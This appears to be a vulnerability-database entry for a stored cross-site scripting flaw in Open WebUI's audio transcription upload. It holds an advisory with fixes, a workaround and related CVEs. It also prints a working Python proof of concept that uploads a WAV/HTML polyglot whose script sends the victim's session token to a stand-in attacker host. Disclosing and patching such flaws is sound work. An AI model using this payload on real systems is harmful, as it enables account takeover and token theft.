CVE-2026-45315High· 8.7▾ TwilightOpen WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 47.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 13.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
0.2% → 0.2%
The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.
Verified on main @ 8dae237a (v0.9.2):
Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.
import struct, httpx
data = b'\x80' * 44100
wav = struct.pack('<4sI4s4sIHHIIHH4sI',
b'RIFF', 36 + len(data), b'WAVE',
b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,
b'data', len(data)) + data
payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
r = httpx.post(
'https://VICTIM/api/v1/audio/transcriptions',
headers={'Authorization': f'Bearer {ATTACKER_JWT}'},
files={'file': ('pwn.html', payload, 'audio/wav')},
)
fn = r.json()['filename'] # '<uuid>.html'
#Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>
https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408
Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.
Affected: <= 0.9.2.
Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.
Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.
open-webui < 0.9.3Upgrade to a patched release:
open-webui 0.9.3Connected by shared product, vendor, weakness, or advisory.
CVE-2026-45316Low· 3.5Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
CVE-2026-45317Medium· 4.6Open WebUI Vulnerable to Cross-Site Request Forgery (CSRF) via Image URL Manipulation
CVE-2026-45318Medium· 5.4Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)
CVE-2026-45314Medium· 6.1Open WebUI has XSS via SVG in /api/v1/channels/webhooks/{webhook_id}/profile/image
CVE-2026-56400High· 8.3Open WebUI has a CORS misconfiguration and session validation issue
CVE-2026-56398High· 7.3Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url